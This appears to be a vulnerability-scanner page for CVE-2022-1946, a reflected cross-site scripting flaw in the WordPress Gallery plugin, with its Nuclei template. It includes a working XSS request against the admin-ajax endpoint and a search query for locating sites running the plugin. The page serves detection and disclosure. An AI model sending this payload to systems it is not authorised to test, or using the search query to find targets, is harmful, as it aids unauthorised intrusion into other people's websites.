WordPress Gallery <2.0.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.8%likelihood of exploitation, next 30 days

78%of all CVEs are less likely

Readycheck to confirm it

WordPress Gallery plugin before 2.0.0 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back in the response of an AJAX action, available to both unauthenticated and authenticated users.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.

Fix

Update the WordPress Gallery plugin to version 2.0.0 or later to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=wpda_gall_load_image_info&start=0&limit=1&gallery_current_index=<script>alert(document.domain)</script>
Positive when: contains "wpdevar_gall_img_url_h[<script>alert(document.domain)</scri…" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-1946 -u <target>

The full check

id: CVE-2022-1946

info:
  name: WordPress Gallery <2.0.0 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: WordPress Gallery plugin before 2.0.0 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back in the response of an AJAX action, available to both unauthenticated and authenticated users.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update the WordPress Gallery plugin to version 2.0.0 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/0903920c-be2e-4515-901f-87253eb30940
    - https://wordpress.org/plugins/gallery-album
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1946
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1946
    cwe-id: CWE-79
    epss-score: 0.01768
    epss-percentile: 0.78294
    cpe: cpe:2.3:a:wpdevart:gallery:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpdevart
    product: gallery
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/gallery-album/"
  tags: cve,cve2022,wpscan,wp,xss,wordpress,gallery,unauth,wp-plugin,wpdevart,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=wpda_gall_load_image_info&start=0&limit=1&gallery_current_index=<script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'wpdevar_gall_img_url_h[<script>alert(document.domain)</script>]'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from